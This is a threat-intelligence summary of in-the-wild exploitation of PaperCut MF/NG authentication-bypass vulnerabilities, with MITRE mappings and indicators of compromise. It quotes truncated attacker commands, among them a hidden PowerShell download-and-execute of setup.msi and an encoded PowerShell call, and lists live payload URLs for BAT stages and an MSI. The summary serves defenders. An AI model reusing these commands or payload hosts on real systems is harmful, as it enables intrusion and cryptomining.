Researchers observed in-the-wild exploitation of zero-day vulnerabilities in PaperCut MF/NG that allow unauthenticated remote code execution via an authentication bypass. The campaign uses post-exploitation payloads (including Atera and Syncro RMM installers) and infrastructure linked to known actors, with activity across Windows and macOS PaperCut servers. #PaperCut #ZDI #Truebot #Silence #TA505 #CobaltStrike #Atera #Syncro #GoAnywhere #Windows #macOS
Keypoints
- Several CVEs (PaperCut exploits) enable unauthenticated remote code execution via an authentication bypass in PaperCut MF/NG.
- Exploitation observed in the wild against PaperCut versions 8.0+ prior to patched builds (20.x/21.x/22.x lines) with patch guidance to update to specific builds.
- Infected environments included 1014 Windows hosts with PaperCut, 908 with vulnerable versions across 710 organizations; a few macOS hosts were also affected.
- Post-exploitation activity includes installing remote-management tools (Atera, Syncro) for persistent access and potential ransomware-follow-on movement; Truebot is observed in related infrastructure; possible TA505/Silence linkage; Cobalt Strike Beacon activity noted in related domains.
- Late April 2023 activity added a new stage dropping a bat/PS chain to deploy a Monero miner, with a wallet and known related infrastructure (50.19.48.59).
- Mitigation focuses on patching PaperCut, with partial mitigations (edge firewall blocks to port 9191, disable sandboxing, monitor logs) and detecting admin actions via PaperCut Application Logs and a Sigma rule.
MITRE Techniques
- [T1190] Exploit Public-Facing Application – The attack exploits PaperCut MF/NG vulnerabilities that enable unauthenticated remote code execution via an authentication bypass. ‘zero-day vulnerabilities against PaperCut MF/NG which allow for unauthenticated remote code execution due to an authentication bypass.’
- [T1068] Privilege Escalation – After bypassing authentication, the attacker can execute arbitrary code on the server running in the context of the NT AUTHORITYSYSTEM account. ‘execute arbitrary code on the server running in the context of the NT AUTHORITYSYSTEM account.’
- [T1021] Remote Services – The threat actor gains persistent remote access and code execution on the victim machine via the installed RMM (Atera, Syncro). ‘gains persistent remote access and code execution on the victim machine via the installed RMM.’
- [T1059.001] PowerShell – Command line exemplars show PowerShell usage to download and execute payloads. ‘cmd /c “powershell.exe -nop -w hidden Invoke-WebRequest …setup.msi”‘
- [T1059.003] Windows Command Shell – Additional stages use cmd.exe to run PowerShell commands and encoded payloads. ‘cmd.exe /c powershell -enc …’
- [T1105] Ingress Tool Transfer – The attacker downloads MSI installers (setup.msi) from remote domains to install post-exploitation tooling. ‘The MSI packages install two different RMM tools: Atera, as already noted, and also Syncro.’
- [T1562.001] Impair Defenses – The attacker attempts to disable Windows Defender and remove cryptominer applications to avoid detection. ‘the file attempts to disable Windows Defender and remove various cryptominer applications if they are installed.’
- [T1071.001] Web Protocols – Cobalt Strike Beacon activity observed in related infrastructure and subdomain activity. ‘beacon activity with a similar-looking subdomain (upd343).’
Indicators of Compromise
- [Domain] Domain artifacts used for payload delivery and C2 – windowservicecemter.com, anydeskupdate.com, winserverupdates.com
- [IP Address] 50.19.48.59 – host for bat/PS stages and Me1/Me2 bat download commands
- [SHA256] f9947c5763542b3119788923977153ff8ca807a2e535e6ab28fc42641983aabb
- [SHA256] c0f8aeeb2d11c6e751ee87c40ee609aceb1c1036706a5af0d3d78738b6cc4125
- [File name] setup.msi – MSI payload used to install Atera/Syncro; ld.txt (dll) – appears as Truebot variant
- [File name] ld.txt – Windows DLL identified as a Truebot variant
- [URL] http://upd488.windowservicecemter.com/download/setup.msi – MSI download URL used in the chain
- [URL] http://50.19.48.59:82/me1.bat – first stage BAT file retrieved during exploitation
- [URL] http://50.19.48.59:82/me2.bat – second stage BAT file used to deploy miner
Read more: https://www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software